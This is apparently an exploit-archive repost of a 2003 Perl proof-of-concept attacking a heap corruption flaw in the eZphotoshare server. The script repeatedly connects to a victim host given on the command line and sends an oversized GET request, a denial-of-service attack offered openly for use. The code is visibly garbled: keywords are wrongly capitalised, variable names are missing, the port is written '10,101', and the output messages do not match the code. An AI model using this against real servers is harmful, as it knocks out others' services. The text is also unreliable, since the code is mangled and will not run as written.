Submits the code: Powwow

Submits the date: 2003-12-04

Code attribute: Long-distance

Code category: Other






--------------------------------- [ eZpsheap.pl ] --------------------------------
#
#! /usr/bin/perl -w
#
# Heap Corruption Vulnerability in eZphotoshare PoC
# - by Peter Winter-Smith [ peter4020 hotmail com ]

Use IO::Socket;

If (! ([ 0 ]))
{
Print "Usage: EZpsheap.pl <victim>\n\n ";
Exit;
}

Print "Heap Corruption PoC\n";

For (; ; ) {

= IO::Socket::INET->new (Proto=>'tcp',
PeerAddr=>ARGV [ 0 ],
PeerPort=> "10,101")
Or die "Unable to connect to [ 0 ] on port
10,101 ";

= "ABCD";
= "XXXX";

$$PP Cket = "GET /aaa"... "a" x64;

Print $$PP Cket;

Print "+ Sending packet number of 8... \n";

Sleep (1);

Close (); }

Print "Done. \n";
Exit;

#